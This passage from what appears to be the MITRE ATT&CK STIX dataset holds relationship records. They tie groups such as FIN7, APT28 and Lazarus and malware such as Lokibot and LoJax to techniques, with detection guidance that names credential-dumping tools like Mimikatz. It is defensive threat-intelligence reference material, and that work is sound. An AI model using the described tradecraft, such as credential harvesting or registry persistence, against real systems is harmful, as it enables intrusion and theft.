","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f548074-df9e-4029-842b-7d774e2f1093","created":"2023-08-17T18:35:41.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.056Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used the command `cmd.exe /C quser` to collect user session information.(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f552cc5-66fe-44a6-8881-8e127fc5c0f0","created":"2022-09-21T21:04:18.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:11:50.995Z","description":"[SUGARDUMP](https://attack.mitre.org/software/S1042) variants have harvested credentials from browsers such as Firefox, Chrome, Opera, and Edge.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f5655b0-7b7f-453c-9c2c-47a23fcc6222","type":"relationship","created":"2021-03-17T15:54:31.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Debian nbtscan Nov 2019","url":"https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html","description":"Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."},{"source_name":"SecTools nbtscan June 2003","url":"https://sectools.org/tool/nbtscan/","description":"SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."}],"modified":"2021-03-17T15:54:31.045Z","description":"[NBTscan](https://attack.mitre.org/software/S0590) can be used to collect MAC addresses.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)\t","relationship_type":"uses","source_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f5aee41-e3bc-4ed0-a0e2-fa8f7cd6de26","type":"relationship","created":"2019-05-02T01:07:36.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}],"modified":"2019-06-12T20:05:18.216Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) has the ability to upload and download files.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f5c6a39-aa0b-469e-aabe-67e4d237b213","type":"relationship","created":"2019-07-02T12:58:09.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoJax Sept 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf","description":"ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."}],"modified":"2019-12-20T13:43:45.285Z","description":"[LoJax](https://attack.mitre.org/software/S0397) has modified the Registry key ‘HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute’ from ‘autocheck autochk *’ to ‘autocheck autoche *’.(Citation: ESET LoJax Sept 2018)","relationship_type":"uses","source_ref":"malware--b865dded-0553-4962-a44b-6fe7863effed","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1f5efc33-a643-4f9b-aae9-6c59208ff790","created":"2022-08-07T15:33:54.621Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AuTo Stealer](https://attack.mitre.org/software/S1029) has the ability to collect the username from an infected host.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f66707a-6cd7-4af1-a388-b0ff022af7db","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Powersploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","url":"https://github.com/mattifestation/PowerSploit"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T20:54:55.626Z","description":"Monitor executed commands and arguments that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Look for command-lines that invoke AuditD or the Security Accounts Manager (SAM). Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on abuse of CMSTP. ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f67c603-a567-42d1-b1ee-48fe9564c9bc","type":"relationship","created":"2021-08-23T19:38:33.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-10-07T15:06:50.706Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) has decrypted encrypted strings.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1f6a3d3b-11da-4c68-9f46-732ad54f4869","created":"2022-03-30T14:26:51.852Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for executed processes (such as tracert or ping) that may check for Internet connectivity on compromised systems.","modified":"2022-04-12T12:46:43.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f6da45b-bf15-47d7-ab80-5c110b0f4d62","created":"2023-03-17T14:50:22.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T14:48:19.364Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) executed a VBA written malicious macro after victims download malicious DOTM files; [Lazarus Group](https://attack.mitre.org/groups/G0032) also used Visual Basic macro code to extract a double Base64 encoded DLL implant.(Citation: ClearSky Lazarus Aug 2020)(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f6fe0b5-3696-4a76-82c7-b866b1a8269a","type":"relationship","created":"2021-07-26T17:53:02.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-26T17:53:02.201Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used a modified and obfuscated version of the reGeorg web shell to maintain persistence on a target's Outlook Web Access (OWA) server.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f728f8c-8aee-4d40-9161-1cae773983d1","type":"relationship","created":"2020-07-20T13:25:54.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-10-21T17:38:02.728Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has been configured with several servers available for alternate C2 communications.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f740889-9bfb-4911-91ff-0d8267a7eeb0","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for newly executed processes for process executable paths that are named for partial directories.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f75578e-22d5-4f91-9de5-3309ffe107d5","created":"2021-10-01T01:57:31.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.701Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has established persistence through the creation of a cryptocurrency mining system service using systemctl.(Citation: Trend Micro TeamTNT)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f764874-0e08-4799-9487-a9e12c499c13","type":"relationship","created":"2017-05-31T21:33:27.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"},{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2020-10-19T18:18:50.146Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used scripting to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1f7a90ae-703d-4efa-9b80-48738784dd6a","created":"2022-04-11T19:05:00.706Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls (such as IsDebuggerPresent()) that may employ various means to detect and avoid debugged environments. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required.","modified":"2022-04-11T19:05:00.706Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","source_name":"FireEye FIN7 April 2017"},{"source_name":"Morphisec FIN7 June 2017","description":"Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.","url":"http://blog.morphisec.com/fin7-attacks-restaurant-industry"},{"source_name":"FireEye FIN7 Aug 2018","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"},{"description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","source_name":"Flashpoint FIN 7 March 2019"}],"modified":"2020-03-28T21:27:24.610Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) malware has created scheduled tasks to establish persistence.(Citation: FireEye FIN7 April 2017)(Citation: Morphisec FIN7 June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f7e10b8-f8ea-4731-af67-7201452d32be","created":"2022-10-13T14:52:24.172Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:52:24.172Z","description":"[PcShare](https://attack.mitre.org/software/S1050) can take screen shots of a compromised machine.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1f8132be-36d7-403e-a3e6-604db01ca3b8","created":"2022-04-06T20:06:32.719Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has been distributed as a malicious link within an email.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-15T19:27:33.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f82ca99-5acd-4a1a-a7ec-96d5cab8bec0","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor for changes to account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AdSecurity SID History Sept 2015","description":"Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.","url":"https://adsecurity.org/?p=1772"},{"source_name":"Microsoft DsAddSidHistory","description":"Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.","url":"https://msdn.microsoft.com/library/ms677982.aspx"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f8572d0-007f-4efd-8caa-58ea88849cd1","type":"relationship","created":"2019-03-04T17:12:37.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Linux Rabbit 2018","url":"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat","description":"Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}],"modified":"2019-07-26T20:18:44.960Z","description":"[Linux Rabbit](https://attack.mitre.org/software/S0362) attempts to gain access to the server via SSH.(Citation: Anomali Linux Rabbit 2018)","relationship_type":"uses","source_ref":"malware--0efefea5-78da-4022-92bc-d726139e8883","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f8760c6-f11c-43f7-acf8-bc30a347518c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2019-06-24T19:03:52.716Z","description":"[Proton](https://attack.mitre.org/software/S0279) removes all files in the /tmp directory.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f888716-1e49-4d8d-b693-67c6eae8a775","type":"relationship","created":"2020-05-15T16:50:05.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Infoblox Lokibot January 2019","url":"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22","description":"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020."}],"modified":"2020-05-18T13:42:53.799Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has stolen credentials from multiple applications and data sources including Windows OS credentials, email clients, FTP, and SFTP clients.(Citation: Infoblox Lokibot January 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1f8be617-c842-4828-a352-9d5eafb8f477","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:31:34.136Z","description":"[PUNCHTRACK](https://attack.mitre.org/software/S0197) is loaded and executed by a highly obfuscated launcher.(Citation: FireEye Fin8 May 2016)","relationship_type":"uses","source_ref":"malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f972385-7f1c-4cbd-a071-951973e6d229","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Securelist MiniDuke Feb 2013","description":"Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.","url":"https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf"},{"source_name":"ESET Dukes October 